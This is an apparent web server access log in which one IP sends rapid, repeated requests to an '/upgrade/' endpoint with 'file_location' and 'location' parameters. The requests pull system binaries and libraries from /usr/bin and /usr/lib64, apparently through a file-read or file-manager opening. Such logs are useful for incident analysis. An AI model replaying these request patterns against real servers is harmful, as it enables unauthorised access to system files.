45.135.193.11 - - [11/Sep/2026:22:52:45 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fh2xs&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 120233 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fh2xs&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:45 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Flogname&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 106879 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Flogname&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:46 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Flua&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 103665 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Flua&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:46 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmariadb-waitpid&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 886334 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmariadb-waitpid&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:47 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fptardiff&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 96943 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fptardiff&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:47 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_sat_set_features&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 102537 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_sat_set_features&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:47 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Flocale&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 115700 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Flocale&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:48 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmake-dummy-cert&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 96150 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmake-dummy-cert&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:48 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnc&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 115907 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnc&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:48 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fptx&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 160385 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fptx&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:49 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Frename&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 103040 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Frename&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:49 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_logs&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 155054 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_logs&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:50 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fwmf2fig&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 102608 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fwmf2fig&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:50 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fxz&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 132504 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fxz&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:50 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Faspell&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 165199 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Faspell&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:51 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcirco&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 100138 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcirco&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:51 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdirmngr&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 309839 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdirmngr&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:52 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmknod&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 114648 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmknod&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:52 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpod2usage&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 97755 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpod2usage&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:52 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_modes&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 113167 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_modes&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:53 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fx86_64-redhat-linux-gnu-pkg-config&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 95834 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fx86_64-redhat-linux-gnu-pkg-config&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:53 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fxzmore&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 97115 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fxzmore&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:54 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2FPOST&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 102262 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2FPOST&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:54 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fjson_verify&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 100194 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fjson_verify&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:54 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Flsscsi&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 136193 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Flsscsi&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:55 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmyisampack&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 1042161 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmyisampack&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:55 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnsupdate&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 125116 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnsupdate&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:55 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsoelim&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 111725 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsoelim&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:56 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Ftbl&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 155119 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Ftbl&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:56 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fiperf3&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 99908 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fiperf3&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:56 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fncursesw6-config&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 98772 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fncursesw6-config&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:57 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsotruss&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 97736 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsotruss&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:57 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmodulemd-validator&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 105322 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmodulemd-validator&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:58 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnbdcopy&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 120765 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnbdcopy&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:58 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Fapache2 HTTP/1.1" 200 5936 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Fapache2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:58 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgcc_s.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 155421 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgcc_s.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:59 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgd.so.3.0.10&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 243100 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgd.so.3.0.10&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:59 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibldap-2.4.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 104751 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibldap-2.4.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:59 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibssl3.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 309621 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibssl3.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:59 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnuma.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 127760 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnuma.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:00 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibrt.a&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 103159 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibrt.a&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:00 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibbrotlidec.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 126718 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibbrotlidec.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:01 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibflashrom.so.1.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 321649 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibflashrom.so.1.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:01 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgdk-3.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 532653 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgdk-3.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:02 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgettextsrc-0.21.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 261244 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgettextsrc-0.21.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:02 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgstriff-1.0.so.0.2212.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 131551 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgstriff-1.0.so.0.2212.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:03 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibm.so.6&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 562523 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibm.so.6&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:03 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Fc++-plesk-13.2.0 HTTP/1.1" 200 6481 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Fc++-plesk-13.2.0" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:04 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibGLX_system.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 227594 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibGLX_system.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:04 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibblockdev.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 167440 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibblockdev.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:05 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgobject-2.0.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 261274 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgobject-2.0.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:05 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgio-2.0.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 915233 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgio-2.0.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:05 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgtk-x11-2.0.so.0.2400.33&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 2316138 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgtk-x11-2.0.so.0.2400.33&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:06 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxkbregistry.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 117143 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxkbregistry.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:06 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibatasmart.so.4&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 126837 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibatasmart.so.4&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:07 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcrypto.so.3&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 2419881 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcrypto.so.3&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:07 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibdb-5.3.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 958923 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibdb-5.3.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:08 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibe2p.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 120608 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibe2p.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:08 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-present.so.0.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 108497 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-present.so.0.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:08 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-xf86dri.so.0.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 109814 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-xf86dri.so.0.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:09 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-xvmc.so.0.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 109445 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-xvmc.so.0.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
